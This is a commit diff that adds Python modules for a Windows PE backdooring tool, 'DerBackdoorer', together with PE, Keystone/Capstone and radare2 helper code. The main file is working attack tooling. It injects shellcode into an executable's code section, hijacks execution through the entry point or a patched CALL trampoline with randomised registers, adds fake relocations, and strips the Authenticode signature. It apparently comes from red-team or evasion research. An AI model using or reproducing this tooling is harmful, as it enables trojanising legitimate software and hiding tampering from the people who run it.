refactor: remove derbackdoorer/ dir into peparser/ to pe/

pe/derbackdoorer.py

@@ -0,0 +1,264 @@
+#!/usr/bin/python3
+#
+# Based on the original RedBackdoorer by Mariusz Banach
+#
+
+import random
+import textwrap
+import pefile
+import capstone
+import keystone
+from enum import IntEnum
+import logging
+
+from helper import hexdump
+from pe.mype import MyPe
+from model.defs import *
+
+logger = logging.getLogger("DerBackdoorer")
+
+
+class PeBackdoor:
+    def __init__(self, mype: MyPe, main_shc: bytes, inject_mode: InjectStyle):
+        self.mype: MyPe = mype
+        self.runMode: InjectStyle = inject_mode
+        self.shellcodeData: bytes = main_shc
+
+        # Working
+        self.shellcodeOffset: int  = 0    # from start of the file
+        self.shellcodeOffsetRel: int = 0  # from start of the code section
+        self.backdoorOffsetRel: int = 0   # from start of the code section
+    
+
+    def injectShellcode(self):
+        sect = self.mype.get_code_section()
+        if sect == None:
+            logger.error('Could not find code section in input PE file!')
+            return False
+        sect_name = sect.Name.decode().rstrip('\x00')
+        sect_size = sect.Misc_VirtualSize  # Better than: SizeOfRawData
+        logger.debug(f'Backdooring {sect_name} section.')
+
+        if sect_size < len(self.shellcodeData):
+            logger.critical(f'''Input shellcode is too large to fit into target PE executable code section!
+Shellcode size    : {len(self.shellcodeData)}
+Code section size : {sect_size}
+''')
+
+        offset = int((sect_size - len(self.shellcodeData)) / 2)
+        logger.debug(f'Inserting shellcode into 0x{offset:x} offset.')
+
+        self.mype.pe.set_bytes_at_offset(offset, self.shellcodeData)
+        self.shellcodeOffset = offset
+        self.shellcodeOffsetRel = offset - sect.PointerToRawData
+
+        rva = self.mype.pe.get_rva_from_offset(offset)
+
+        p = sect.PointerToRawData + sect.SizeOfRawData - 64
+        graph = textwrap.indent(f'''
+Beginning of {sect_name}:
+{textwrap.indent(hexdump(self.mype.pe.get_data(sect.VirtualAddress), sect.VirtualAddress, 64), "0")}
+
+Injected shellcode in the middle of {sect_name}:
+{hexdump(self.shellcodeData, offset, 64)}
+
+Trailing {sect_name} bytes:
+{hexdump(self.mype.pe.get_data(self.mype.pe.get_rva_from_offset(p)), p, 64)}
+''', '\t')
+
+        logger.info(f'Shellcode injected into existing code section at RVA 0x{rva:x}')
+        logger.debug(graph)
+        return True
+
+
+    def setupShellcodeEntryPoint(self):
+        if self.runMode == InjectStyle.ChangeEntryPoint:
+            rva = self.mype.pe.get_rva_from_offset(self.shellcodeOffset)
+            self.mype.set_entrypoint(rva)
+
+            logger.info(f'Address Of Entry Point changed to: RVA 0x{rva:x}')
+            return True
+
+        elif self.runMode == InjectStyle.BackdoorCallInstr:
+            return self.backdoorEntryPoint()
+
+        #elif self.runMode == int(PeBackdoor.SupportedRunModes.HijackExport):
+        #    addr = self.getExportEntryPoint()
+        #    if addr == -1:
+        #        logger.critical('Could not find any export entry point to hijack! Specify existing DLL Exported function with -e/--export!')
+        #
+        #    return self.backdoorEntryPoint(addr)
+
+        return False
+    
+    
+    def getExportEntryPoint(self):
+        dec = lambda x: '???' if x is None else x.decode() 
+
+        #exportName = self.options.get('export', '')
+        exportName = ""
+        if len(exportName) == 0:
+            logger.critical('Export name not specified! Specify DLL Exported function name to hijack with -e/--export')
+
+        d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]]
+        self.mype.pe.parse_data_directories(directories=d)
+
+        if self.mype.pe.DIRECTORY_ENTRY_EXPORT.symbols == 0:
+            logger.error('No DLL exports found! Specify existing DLL Exported function with -e/--export!')
+            return -1
+        
+        exports = [(e.ordinal, dec(e.name)) for e in self.mype.pe.DIRECTORY_ENTRY_EXPORT.symbols]
+
+        for export in exports:
+            logger.debug(f'DLL Export: {export[0]} {export[1]}')
+            if export[1].lower() == exportName.lower():
+
+                addr = self.mype.pe.DIRECTORY_ENTRY_EXPORT.symbols[export[0]].address
+                logger.info(f'Found DLL Export "{exportName}" at RVA 0x{addr:x} . Attempting to hijack it...')
+                return addr
+
+        return -1
+    
+
+    def backdoorEntryPoint(self, addr = -1):
+        imageBase = self.mype.pe.OPTIONAL_HEADER.ImageBase
+        self.shellcodeAddr = self.mype.pe.get_rva_from_offset(self.shellcodeOffset) + imageBase
+
+        cs = None
+        ks = None
+
+        if self.mype.arch == 'x86':
+            cs = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_32 + capstone.CS_MODE_LITTLE_ENDIAN)
+            ks = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_32 + keystone.KS_MODE_LITTLE_ENDIAN)
+        else:    
+            cs = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64 + capstone.CS_MODE_LITTLE_ENDIAN)
+            ks = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_64 + keystone.KS_MODE_LITTLE_ENDIAN)
+
+        cs.detail = True
+
+        ep = addr
+
+        if addr == -1:
+            ep = self.mype.pe.OPTIONAL_HEADER.AddressOfEntryPoint
+
+        ep_ava = ep + self.mype.pe.OPTIONAL_HEADER.ImageBase
+        data = self.mype.pe.get_memory_mapped_image()[ep:ep+128]
+        offset = 0
+
+        logger.debug('Entry Point disasm:')
+
+        disasmData = self.mype.pe.get_memory_mapped_image()
+        output = self.mype.disasmBytes(cs, ks, disasmData, ep, 128, self.backdoorInstruction)
+
+        # store offset... by calculating it first FUCK
+        section = self.mype.get_code_section()
+        self.backdoorOffsetRel = output - section.VirtualAddress
+
+        if output != 0:
+            logger.debug('Now disasm looks like follows: ')
+
+            disasmData = self.mype.pe.get_memory_mapped_image()
+            self.mype.disasmBytes(cs, ks, disasmData, output - 32, 32, None, maxDepth = 3)
+
+            logger.debug('\n[>] Inserted backdoor code: ')
+            for instr in cs.disasm(bytes(self.compiledTrampoline), output):
+                self.mype.printInstr(instr, 1)
+
+            logger.debug('')
+            self.mype.disasmBytes(cs, ks, disasmData, output + len(self.compiledTrampoline), 32, None, maxDepth = 3)
+
+        else:
+            logger.error('Did not find suitable candidate for Entry Point branch hijack!')
+
+        return output
+    
+
+    def getBackdoorTrampoline(self, cs, ks, instr):
+        trampoline = ''
+        addrOffset = -1
+
+        registers = ['rax', 'rbx', 'rcx', 'rdx', 'rsi', 'rdi']
+
+        if self.mype.arch == 'x86':
+            registers = ['eax', 'ebx', 'ecx', 'edx', 'esi', 'edi'] 
+
+        reg = random.choice(registers).upper()
+        reg2 = random.choice(registers).upper()
+
+        while reg2 == reg:
+            reg2 = random.choice(registers).upper()
+
+        enc, count = ks.asm(f'MOV {reg}, 0x{self.shellcodeAddr:x}')
+        for instr2 in cs.disasm(bytes(enc), 0):
+            addrOffset = len(instr2.bytes) - instr2.addr_size
+            break
+
+        found = instr.mnemonic.lower() in ['jmp', 'je', 'jz', 'jne', 'jnz', 'ja', 'jb', 'jae', 'jbe', 'jg', 'jl', 'jge', 'jle']
+        found |= instr.mnemonic.lower() == 'call'
+
+        if found:
+            logger.info(f'Backdooring entry point {instr.mnemonic.upper()} instruction at 0x{instr.address:x} into:')
+
+            jump = random.choice([
+                f'CALL {reg}',
+
+                #
+                # During my tests I found that CALL reg works stabily all the time, whereas below two gadgets
+                # are known to crash on seldom occassions.
+                #
+
+                #f'JMP {reg}',
+                #f'PUSH {reg} ; RET',
+            ])
+
+            trampoline = f'MOV {reg}, 0x{self.shellcodeAddr:x} ; {jump}'
+
+        for ins in trampoline.split(';'):
+            logger.info(f'\t{ins.strip()}')
+
+        logger.info('')
+
+        return (trampoline, addrOffset)
+    
+
+    def backdoorInstruction(self, cs, ks, disasmData, startOffset, instr, operand, depth):
+        encoding = b''
+        count = 0
+
+        if depth < 2: 
+            return 0
+
+        (trampoline, addrOffset) = self.getBackdoorTrampoline(cs, ks, instr)
+
+        if len(trampoline) > 0:
+            encoding, count = ks.asm(trampoline)
+            self.mype.pe.set_bytes_at_rva(instr.address, bytes(encoding))
+
+            relocs = (
+                instr.address + addrOffset,
+            )
+
+            pageRva = 4096 * int((instr.address + addrOffset) / 4096)
+            self.mype.addImageBaseRelocations(pageRva, relocs)
+
+            self.trampoline = trampoline
+            self.compiledTrampoline = encoding
+            self.compiledTrampolineCount = count
+
+            logger.info('Successfully backdoored entry point with jump/call to shellcode')
+            return instr.address
+
+        return 0
+
+
+    def removeSignature(self):
+        addr = self.mype.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress
+        size = self.mype.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].Size
+
+        self.mype.pe.set_bytes_at_rva(addr, b'\x00' * size)
+
+        self.mype.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0
+        self.mype.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].Size = 0
+
+        logger.info('PE executable Authenticode signature removed.')
+        return True

pe/mype.py

@@ -0,0 +1,199 @@
+import pefile
+import capstone
+from enum import IntEnum
+import logging
+
+from helper import hexdump
+
+logger = logging.getLogger("MyPe")
+
+
+class MyPe():
+    IMAGE_DIRECTORY_ENTRY_SECURITY = 4
+    IMAGE_DIRECTORY_ENTRY_BASERELOC = 5
+    IMAGE_DIRECTORY_ENTRY_TLS = 9
+
+    IMAGE_REL_BASED_ABSOLUTE              = 0
+    IMAGE_REL_BASED_HIGH                  = 1
+    IMAGE_REL_BASED_LOW                   = 2
+    IMAGE_REL_BASED_HIGHLOW               = 3
+    IMAGE_REL_BASED_HIGHADJ               = 4
+    IMAGE_REL_BASED_DIR64                 = 10
+
+
+    def __init__(self):
+        self.pe = None
+
+
+    def openFile(self, infile):
+        self.pe = pefile.PE(infile, fast_load=False)
+        self.pe.parse_data_directories()
+
+        self.ptrSize = 4
+        self.arch = self.getFileArch()
+        if self.arch == 'x64': 
+            self.ptrSize = 8
+
+
+    def getFileArch(self):
+        if self.pe.FILE_HEADER.Machine == 0x014c:
+            return "x86"
+
+        if self.pe.FILE_HEADER.Machine == 0x8664:
+            return "x64"
+
+        raise Exception("Unsupported PE file architecture.")
+
+
+    def get_code_section(self):
+        entrypoint = self.pe.OPTIONAL_HEADER.AddressOfEntryPoint
+        for sect in self.pe.sections:
+            if sect.Characteristics & pefile.SECTION_CHARACTERISTICS['IMAGE_SCN_MEM_EXECUTE']:
+                if entrypoint >= sect.VirtualAddress and entrypoint <= sect.VirtualAddress + sect.Misc_VirtualSize:
+                    return sect
+        return None
+    
+
+    def get_code_section_data(self) -> bytes:
+        sect = self.get_code_section()
+        return bytes(sect.get_data())
+
+
+    def write_code_section_data(self, data: bytes):
+        sect = self.get_code_section()
+        self.pe.set_bytes_at_offset(sect.PointerToRawData, data)
+
+
+    def getSectionIndexByDataDir(self, dirIndex):
+        addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[dirIndex].VirtualAddress
+
+        i = 0
+        for sect in self.pe.sections:
+            if addr >= sect.VirtualAddress and addr < (sect.VirtualAddress + sect.Misc_VirtualSize):
+                return i
+            i += 1
+
+        logger.error(f'Could not find section with directory index {dirIndex}!')
+        return -1
+
+
+    def getRemainingRelocsDirectorySize(self):
+        relocsIndex = self.getSectionIndexByDataDir(MyPe.IMAGE_DIRECTORY_ENTRY_BASERELOC)
+        out = self.pe.sections[relocsIndex].SizeOfRawData - self.pe.sections[relocsIndex].Misc_VirtualSize
+        return out
+
+
+    def getSectionIndexByName(self, name):
+        i = 0
+        for sect in self.pe.sections:
+            if sect.Name.decode().lower().startswith(name.lower()):
+                return i
+            i += 1
+
+        logger.error(f'Could not find section with name {name}!')
+        return -1
+    
+    
+    def addImageBaseRelocations(self, pageRva, relocs):
+        assert pageRva > 0
+
+        if not self.pe.has_relocs():
+            logger.error("No .reloc section")
+            raise(Exception("No .reloc section"))
+
+        imageBaseRelocType = MyPe.IMAGE_REL_BASED_HIGHLOW
+        if self.arch == 'x64':
+            imageBaseRelocType = MyPe.IMAGE_REL_BASED_DIR64
+
+        logger.info('Adding new relocations to backdoored PE file...')
+
+        relocsSize = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[MyPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size
+        relocsIndex = self.getSectionIndexByDataDir(MyPe.IMAGE_DIRECTORY_ENTRY_BASERELOC)
+        addr = self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[MyPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress
+        sizeOfReloc = 2 * len(relocs) + 2 * 4
+
+        if sizeOfReloc >= self.getRemainingRelocsDirectorySize():
+            self.logger.warn('WARNING! Cannot add any more relocations to this file. Probably TLS Callback execution technique wont work.')
+            self.logger.warn('         Will try disabling relocations on output file. Expect corrupted executable though!')
+
+            self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[MyPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress = 0
+            self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[MyPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size = 0
+            return
+
+        relocDirRva = self.pe.sections[relocsIndex].VirtualAddress
+        self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[MyPe.IMAGE_DIRECTORY_ENTRY_BASERELOC].Size += sizeOfReloc
+
+        # VirtualAddress
+        self.pe.set_dword_at_rva(addr + relocsSize, pageRva)
+
+        # SizeOfBlock
+        self.pe.set_dword_at_rva(addr + relocsSize + 4, sizeOfReloc)
+
+        logger.info(f'Adding {len(relocs)} relocations for Page RVA 0x{pageRva:x} - size of block: 0x{sizeOfReloc:x}')
+
+        i = 0
+        for reloc in relocs:
+            reloc_offset = (reloc - pageRva)
+            reloc_type = imageBaseRelocType << 12
+
+            relocWord = (reloc_type | reloc_offset)
+            self.pe.set_word_at_rva(relocDirRva + relocsSize + 8 + i * 2, relocWord)
+            logger.info(f'\tReloc{i} for addr 0x{reloc:x}: 0x{relocWord:x} - 0x{reloc_offset:x} - type: {imageBaseRelocType}')
+            i += 1
+
+
+    ## Helpers
+
+    def get_entyrpoint(self) -> int:
+        return self.pe.OPTIONAL_HEADER.AddressOfEntryPoint
+
+    def set_entrypoint(self, entrypoint: int):
+        self.pe.OPTIONAL_HEADER.AddressOfEntryPoint = entrypoint
+
+
+    def write(self, outfile: str):
+        self.pe.write(outfile)
+    
+    
+    def disasmBytes(self, cs, ks, disasmData, startOffset, length, callback = None, maxDepth = 5):
+        return self._disasmBytes(cs, ks, disasmData, startOffset, length, callback, maxDepth, 1)
+
+
+    def printInstr(self, instr, depth):
+        _bytes = [f'{x:02x}' for x in instr.bytes[:8]]
+        if len(instr.bytes) < 8:
+            _bytes.extend(['  ',] * (8 - len(instr.bytes)))
+
+        instrBytes = ' '.join([f'{x}' for x in _bytes])
+        logger.debug('\t' * 1 + f'[{instr.address:08x}]\t{instrBytes}' + '\t' * depth + f'{instr.mnemonic}\t{instr.op_str}')
+
+
+    def _disasmBytes(self, cs, ks, disasmData, startOffset, length, callback, maxDepth, depth):
+        if depth > maxDepth:
+            return 0
+
+        data = disasmData[startOffset:startOffset + length]
+
+        for instr in cs.disasm(data, startOffset):
+            self.printInstr(instr, depth)
+
+            if len(instr.operands) == 1:
+                operand = instr.operands[0]
+
+                if operand.type == capstone.CS_OP_IMM:
+                    logger.debug('\t' * (depth+1) + f' -> OP_IMM: 0x{operand.value.imm:x}')
+                    logger.debug('')
+
+                    if callback:
+                        out = callback(cs, ks, disasmData, startOffset, instr, operand, depth)
+                        if out != 0:
+                            return out
+
+                    if depth + 1 <= maxDepth:
+                        out = self._disasmBytes(cs, ks, disasmData, operand.value.imm, length, callback, maxDepth, depth + 1)
+                        return out
+
+        if not callback:
+            return 1
+
+        return 0

pe/pehelper.py

@@ -0,0 +1,116 @@
+import sys
+import pefile
+import pprint
+from keystone import Ks, KS_ARCH_X86, KS_MODE_64
+from capstone import Cs, CS_ARCH_X86, CS_MODE_64
+import logging
+
+from model.defs import *
+
+logger = logging.getLogger("PEHelper")
+
+
+# PEHelper
+# Work directly on PE files. Not using mype or other abstractions.
+# Its mostly used for verification of what we were doing. 
+
+
+def extract_code_from_exe_file_ep(exe_file: FilePath, len: int) -> bytes:
+    pe = pefile.PE(exe_file)
+    section = get_code_section(pe)
+    data: bytes = section.get_data()
+    data = remove_trailing_null_bytes(data)
+
+    ep = pe.OPTIONAL_HEADER.AddressOfEntryPoint
+    ep_raw = get_physical_address(pe, ep)
+
+    data = data[ep_raw:ep_raw+len]
+
+    pe.close()
+
+    return data
+
+
+def get_physical_address(pe, virtual_address):
+    # Iterate through the section headers to find which section contains the VA
+    for section in pe.sections:
+        # Check if the VA is within the range of this section
+        if section.VirtualAddress <= virtual_address < section.VirtualAddress + section.Misc_VirtualSize:
+            # Calculate the difference between the VA and the section's virtual address
+            virtual_offset = virtual_address - section.VirtualAddress
+            # Add the difference to the section's pointer to raw data
+            return virtual_offset
+            #physical_address = section.PointerToRawData + virtual_offset
+            #return physical_address
+    return None
+
+
+def extract_code_from_exe_file(exe_file: FilePath) -> bytes:
+    pe = pefile.PE(exe_file)
+    section = get_code_section(pe)
+    data: bytes = section.get_data()
+    data = remove_trailing_null_bytes(data)
+    logger.debug("---[ Extract code section size: {} / {}".format(
+        len(data), section.Misc_VirtualSize))
+    pe.close()
+    return data
+
+
+def write_code_section(exe_file: FilePath, new_data: bytes):
+    pe = pefile.PE(exe_file)
+    section = get_code_section(pe)
+    file_offset = section.PointerToRawData
+    with open(exe_file, 'r+b') as f:
+        f.seek(file_offset)
+        f.write(new_data)
+    pe.close()
+
+
+def get_code_section(pe: pefile.PE) -> pefile.SectionStructure:
+    entrypoint = pe.OPTIONAL_HEADER.AddressOfEntryPoint
+    for sect in pe.sections:
+        if sect.Characteristics & pefile.SECTION_CHARACTERISTICS['IMAGE_SCN_MEM_EXECUTE']:
+            if entrypoint >= sect.VirtualAddress and entrypoint <= sect.VirtualAddress + sect.Misc_VirtualSize:
+                return sect
+    raise Exception("Code section not found")
+
+
+# keystone/capstone stuff
+
+def assemble_lea(current_address: int, destination_address: int, reg: str) -> bytes:
+    #print("LEAH: 0x{:X} - 0x{:X} = 0x{:X}".format(
+    #    current_address, destination_address, destination_address - current_address))
+    offset = destination_address - current_address
+    ks = Ks(KS_ARCH_X86, KS_MODE_64)
+    encoding, _ = ks.asm(f"lea {reg}, qword ptr ds:[{offset}]")
+    machine_code = bytes(encoding)
+    return machine_code
+
+def assemble_and_disassemble_jump(current_address: int, destination_address: int) -> bytes:
+    #logger.info("    Make jmp from 0x{:X} to 0x{:X}".format(
+    #    current_address, destination_address
+    #))
+    # Calculate the relative offset
+    # For a near jump, the instruction length is typically 5 bytes (E9 xx xx xx xx)
+    offset = destination_address - current_address
+    
+    # Assemble the jump instruction using Keystone
+    ks = Ks(KS_ARCH_X86, KS_MODE_64)
+    encoding, _ = ks.asm(f"call qword ptr ds:[{offset}]")
+    machine_code = bytes(encoding)
+    
+    # Disassemble the machine code using Capstone
+    #cs = Cs(CS_ARCH_X86, CS_MODE_64)
+    #disassembled = next(cs.disasm(machine_code, current_address))
+    #logger.info(f"Machine Code: {' '.join(f'{byte:02x}' for byte in machine_code)}")
+    #logger.info(f"Disassembled: {disassembled.mnemonic} {disassembled.op_str}")
+    return machine_code
+
+
+## Utils
+
+def remove_trailing_null_bytes(data: bytes) -> bytes:
+    for i in range(len(data) - 1, -1, -1):
+        if data[i] != b'\x00'[0]:  # Check for a non-null byte
+            return data[:i + 1]
+    return b''  # If the entire sequence is null bytes

pe/r2helper.py

@@ -0,0 +1,41 @@
+import r2pipe
+import os
+
+from model.defs import *
+from helper import hexdump
+
+def r2_disas(data: bytes):
+    filename = "r2_data.bin"
+    ret = {
+        'text': None,
+        'color': None,
+        'hexdump': None,
+    }
+
+    ret["hexdump"] = hexdump(data)
+
+    # r2 cant really handle shellcode when not in files...
+    with open(filename, "wb") as f:
+        f.write(data)
+    code_len = len(data)
+
+    if code_len > 0x2000:
+        ret['text'] = "Code too long for r2: {}".format(code_len)
+        ret['color'] = "Code too long for r2: {}".format(code_len)
+        return ret
+
+    r2 = r2pipe.open(filename, flags=['-2'])
+    r2.cmd('aaa')
+
+    r2.cmd('e scr.color=0')
+    ret['text'] = r2.cmd('pD {}'.format(code_len))
+    ret['text'] = '\n'.join(ret['text'].splitlines())  # fix newlines
+
+    r2.cmd('e scr.color=2')
+    ret['color'] = r2.cmd('pD {}'.format(code_len))
+    ret['color'] = '\n'.join(ret['color'].splitlines())  # fix newlines
+
+    r2.quit()
+    os.remove(filename)
+
+    return ret

pe/superpe.py

@@ -0,0 +1,49 @@
+from typing import List
+import pefile
+
+
+class PeSection():
+    def __init__(self, pefile_section: pefile.SectionStructure):
+        self.name: str = pefile_section.Name.rstrip(b'\x00').decode("utf-8")
+        self.raw_addr: int = pefile_section.PointerToRawData
+        self.raw_size: int = pefile_section.SizeOfRawData
+        self.virt_addr: int = pefile_section.VirtualAddress
+        self.virt_size: int = pefile_section.Misc_VirtualSize
+        #self.permissions = pefile_section.Characteristics
+
+
+class SuperPe():
+    """Interact with a PE file using pefile"""
+
+    def __init__(self, pe: pefile.PE):
+        self.pe: pefile.PE = pe
+        self.pe_sections: List[PeSection] = []
+
+
+    def init(self):
+        for section in self.pe.sections:
+            self.pe_sections.append(PeSection(section))
+
+
+    def get_section_by_name(self, name: str) -> PeSection:
+        for section in self.pe_sections:
+            if section.name == name:
+                return section
+        return None
+    
+
+    def get_physical_address(self, virtual_address):
+        # Iterate through the section headers to find which section contains the VA
+        for section in self.pe.sections:
+            # Check if the VA is within the range of this section
+            if section.VirtualAddress <= virtual_address < section.VirtualAddress + section.Misc_VirtualSize:
+                # Calculate the difference between the VA and the section's virtual address
+                virtual_offset = virtual_address - section.VirtualAddress
+                # Add the difference to the section's pointer to raw data
+                return virtual_offset
+                #physical_address = section.PointerToRawData + virtual_offset
+                #return physical_address
+        return None
+
+
+